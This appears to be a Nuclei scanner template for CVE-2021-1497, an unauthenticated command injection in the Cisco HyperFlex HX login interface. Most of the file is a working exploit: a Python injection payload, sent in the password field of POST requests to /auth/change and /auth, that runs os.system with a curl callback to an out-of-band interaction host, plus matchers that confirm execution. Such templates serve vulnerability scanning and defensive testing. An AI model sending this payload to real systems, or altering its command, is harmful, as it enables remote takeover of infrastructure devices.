62 lines
2.2 KiB
YAML
62 lines
2.2 KiB
YAML
id: CVE-2021-1497
|
|
|
|
info:
|
|
name: Cisco HyperFlex HX Data Platform - Remote Command Execution
|
|
author: gy741
|
|
severity: critical
|
|
description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
|
|
reference:
|
|
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-1497
|
|
- https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
|
|
- https://twitter.com/Unit42_Intel/status/1402655493735206915
|
|
- https://twitter.com/ptswarm/status/1390300625129201664
|
|
- https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
|
|
- https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-1497
|
|
cwe-id: CWE-78
|
|
epss-score: 0.9751
|
|
tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,
|
|
metadata:
|
|
max-request: 2
|
|
|
|
variables:
|
|
useragent: '{{rand_base(6)}}'
|
|
cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
|
|
payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /auth/change HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=root&password={{url_encode(payload)}}
|
|
|
|
- |
|
|
POST /auth HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=root&password={{url_encode(payload)}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
|
|
# Enhanced by mp on 2022/04/29
|